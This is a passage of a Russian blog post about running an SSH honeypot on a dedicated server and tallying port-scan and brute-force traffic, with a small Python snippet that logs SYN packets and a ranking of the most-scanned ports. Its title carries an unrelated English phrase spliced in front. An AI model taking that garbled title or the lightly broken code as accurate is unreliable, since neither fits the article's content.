{"id":354492,"date":"2024-05-20T22:49:26","date_gmt":"2024-05-20T22:49:26","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=354492"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=354492","title":{"rendered":"<span>Let me teach you the ancient method of Fu Thai! \u0413\u043d\u0435\u0432 \u0438 \u043d\u0435\u043d\u0430\u0432\u0438\u0441\u0442\u044c \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u043e\u0432 \u0432 2023 \u0433\u043e\u0434\u0443<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/-k\/l9\/1x\/-kl91xvvfrpolb6oejfomujv6i4.png\" data-src=\"https:\/\/habrastorage.org\/webt\/-k\/l9\/1x\/-kl91xvvfrpolb6oejfomujv6i4.png\"\/><\/div>\n<p>  \u0414\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b <a href=\"https:\/\/habr.com\/ru\/companies\/selectel\/articles\/567250\/\">\u0441\u0442\u0430\u0442\u044c\u044e<\/a>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0441\u0442\u044b\u0445 SSH-\u043b\u043e\u0432\u0443\u0448\u0435\u043a \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u043b \u0445\u043e\u0434\u044b \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u043b\u0438\u044f\u043b\u0438 \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u043e\u0432. \u0421\u0442\u0430\u043b \u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043e\u0442 \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u043c \u043c\u0435\u0441\u0442\u043e\u043c?<\/p>\n<p>  \u0417\u0430\u0434\u0430\u0432\u0448\u0438\u0441\u044c \u044d\u0442\u0438\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c, \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, \u0441\u0434\u0435\u043b\u0430\u0432 \u0438\u0437 <a href=\"https:\/\/slc.tl\/axizp\">\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430<\/a> \u00ab\u043b\u043e\u0432\u0443\u0448\u043a\u0443\u00bb \u0434\u043b\u044f \u0432\u0441\u044f\u043a\u0438\u0445 \u043f\u043b\u043e\u0445\u0438\u0445 \u0440\u0435\u0431\u044f\u0442. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e, \u043a\u0430\u043a\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u044e\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u043e\u0432, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0443 \u0438 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u041f\u043e\u0434 \u043a\u0430\u0442 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0430\u043b\u0438\u0442\u044c\u0441\u044f \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0434\u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438.<br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<blockquote><p>\u041f\u043e\u043c\u043d\u0438\u0442\u0435, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u00ab\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u00bb \u0447\u0443\u0436\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0431\u0435\u0437 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u2014 \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0442\u0430\u043a \u0447\u0442\u043e \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c \u043f\u043b\u0430\u043d \u043c\u0435\u0441\u0442\u0438 \u0433\u043e\u0440\u0435-\u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u0430\u043c, \u0447\u0442\u043e \u043f\u043e\u043f\u0430\u0434\u0443\u0442\u0441\u044f \u0432 \u0432\u0430\u0448\u0438 \u0441\u0435\u0442\u0438.<\/p><\/blockquote>\n<p>  \u0414\u043b\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0441\u0442\u0430\u0442\u044c\u0438 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 <a href=\"https:\/\/slc.tl\/ney5v\">PL12-NVMe<\/a>, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b Ubuntu 22.04. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u044f\u0437\u044b\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Python 3.10, \u0430 \u0432\u0441\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e. \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u2014 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0441\u0442\u0430\u0442\u044c\u0438.<\/p>\n<p>  \u0412 \u0442\u0435\u043a\u0441\u0442\u0435 \u0442\u043e\u0447\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u044f \u043d\u0435 \u0431\u0443\u0434\u0443\u0442. \u0422\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u0435\u043d\u0430 \u0438\u0445 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u0441\u0442\u0440\u0430\u043d, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0431\u0430\u0437\u0435 GeoLite2.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p><\/font><br \/>  \u0412 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u044f \u043f\u0440\u0438\u043d\u044f\u043b \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b SSH \u043d\u0430 22 \u043f\u043e\u0440\u0442\u0443 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041d\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u044d\u0442\u043e \u0442\u0430\u043a? \u0427\u0442\u043e\u0431\u044b \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c, \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438. \u0412 \u0433\u043e\u043b\u043e\u0432\u0443 \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u0434\u0432\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430:<\/p>\n<ol>\n<li>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043f\u0435\u0440\u0432\u0430 \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u043e\u0440\u0442\u044b, \u0430 \u0443\u0436\u0435 \u043f\u043e\u0442\u043e\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u043c.<\/li>\n<li>\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u0442 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u00ab\u0432\u0441\u043b\u0435\u043f\u0443\u044e\u00bb \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0432 \u043d\u0430\u0434\u0435\u0436\u0434\u0435, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u043e\u0440\u0442 \u043e\u0442\u043a\u0440\u044b\u0442.<\/li>\n<\/ol>\n<p>  \u041b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u043f\u043e\u0440\u0442\u043e\u0432? \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 TCP-\u043f\u043e\u0440\u0442\u043e\u0432 \u0441\u043a\u0430\u043d\u0435\u0440 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 SYN-\u0437\u0430\u043f\u0440\u043e\u0441. \u0415\u0441\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 SYN-ACK, \u0442\u043e \u043f\u043e\u0440\u0442 \u043e\u0442\u043a\u0440\u044b\u0442. \u0415\u0441\u043b\u0438 RST, \u0442\u043e \u043f\u043e\u0440\u0442 \u0437\u0430\u043a\u0440\u044b\u0442. \u0410 \u0435\u0441\u043b\u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442, \u0442\u043e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440 \u043d\u0435 \u043f\u0443\u0441\u043a\u0430\u0435\u0442. \u0421 UDP-\u043f\u043e\u0440\u0442\u0430\u043c\u0438 \u0441\u043b\u043e\u0436\u043d\u0435\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u043f\u0443\u0441\u0442\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043d\u0435\u0441\u0443\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438.<\/p>\n<p>  \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 TCP-\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 UDP-\u043f\u0430\u043a\u0435\u0442 \u0432\u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u00ab\u0441\u0438\u0434\u0438\u0442\u00bb \u0438 \u0441\u043b\u0443\u0448\u0430\u0435\u0442 \u043d\u0430 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0443.<\/p>\n<p>  \u041b\u044e\u0431\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u0440\u0430\u0432 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u00ab\u0441\u044b\u0440\u043e\u0439\u00bb \u0441\u043e\u043a\u0435\u0442 (raw socket) \u0438 \u0438\u043c\u0435\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0432\u043e\u0438\u0447\u043d\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0432\u0441\u0435\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.<\/p>\n<pre><code class=\"python\">import sys import socket from scapy.layers.inet import TCP, IP, UDP  # \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0441\u044b\u0440\u043e\u0439 TCP-\u0441\u043e\u043a\u0435\u0442. \u0422\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0431\u0440\u0430\u0442\u044c TCP, UDP \u0438 IP s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)  while True:     data = s.recv(65536)     p = IP(data)          # \u0415\u0441\u043b\u0438 \u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043d\u0430\u0448\u0435\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443,     # \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438,     # \u0442\u043e \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u043c \u044d\u0442\u043e\u0442 \u043f\u0430\u043a\u0435\u0442     if p.dst != sys.argv[1]:         continue          # \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TCP \u0438\u043b\u0438 UDP-\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0430\u043a\u0435\u0442\u0430     tcp: TCP = p.getLayer(TCP)      # \u0414\u043b\u044f TCP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0444\u043b\u0430\u0433\u0430 SYN     if tcp.flags != 0x2:         continue      # \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0449\u0435\u043c:     # p.src \u2014 IP-\u0430\u0434\u0440\u0435\u0441      # \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0446\u0435\u043b\u044c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f     # tcp.dport \u2014 \u0436\u0435\u043b\u0430\u0435\u043c\u044b\u0439 \u043f\u043e\u0440\u0442      # \u0417\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043a\u0443\u0434\u0430-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e  <\/code><\/pre>\n<p>  \u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043a\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0440\u0442\u043e\u0432. \u0412\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0441\u043e\u043a\u0435\u0442\u0430\u043c\u0438 \u0432 Python \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 socket \u0438\u0437 \u043d\u0430\u0431\u043e\u0440\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a. \u0414\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b <a href=\"https:\/\/scapy.net\/\">scapy<\/a>.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/9fd\/86c\/772\/9fd86c772a2192bfd901319c527bbd3c.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/9fd\/86c\/772\/9fd86c772a2192bfd901319c527bbd3c.png\"\/><\/div>\n<p>  <i>\u0413\u0440\u0430\u0444\u0438\u043a \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f TCP \u0438 UDP.<\/i><\/p>\n<p>  \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0438\u043c\u0435\u0435\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a. \u0414\u043b\u044f \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0432\u0441\u0435 \u043f\u043e\u0440\u0442\u044b \u043d\u0430 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0435. \u042f \u0440\u0435\u0448\u0438\u043b \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043f\u0443\u0442\u0435\u043c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u041e\u0421 \u0441 0.0.0.0 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 IP-\u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0430 Python \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0443\u0441\u043f\u0435\u0442\u044c \u0437\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u0430, \u043d\u043e, \u043a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0443 \u043c\u0435\u043d\u044f \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/41a\/f16\/9f4\/41af169f4bdc4d792df8f8bc70186d1a.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/41a\/f16\/9f4\/41af169f4bdc4d792df8f8bc70186d1a.png\"\/><\/div>\n<p>  \u041a\u0430\u043a \u0438 \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0430\u0445 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435: 97% \u0432\u0441\u0435\u0445 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u044b. \u0412 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0432 \u043c\u0438\u043d\u0443\u0442\u0443 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043e\u0442 10 \u0434\u043e 30 SYN-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438\u0441\u044c \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u0438 \u0434\u043e 500 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u043c\u0438\u043d\u0443\u0442\u0443. \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0440\u0443\u0447\u043d\u044b\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u0440\u0442\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430.<\/p>\n<p>  \u0412\u043e\u0442 \u0442\u043e\u043f-10 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 TCP-\u043f\u043e\u0440\u0442\u043e\u0432:<\/p>\n<ol>\n<li>23 \u2014 telnet.<\/li>\n<li>2222 \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u00ab\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0445\u00bb \u043d\u0435\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u043e\u0432 SSH.<\/li>\n<li>80 \u2014 HTTP.<\/li>\n<li>443 \u2014 HTTPS.<\/li>\n<li>22 \u2014 SSH.<\/li>\n<li>222 \u2014 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u00ab\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439\u00bb \u043f\u043e\u0440\u0442 SSH.<\/li>\n<li>3389 \u2014 Windows Remote Desktop Protocol.<\/li>\n<li>1433 \u2014 Microsoft SQL Server.<\/li>\n<li>8080 \u2014 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043f\u043e\u0440\u0442 \u0434\u043b\u044f HTTP.<\/li>\n<li>3306 \u2014 MySQL.<\/li>\n<\/ol>\n<p>  \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 UDP \u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0441\u043e\u0431\u043e\u0439 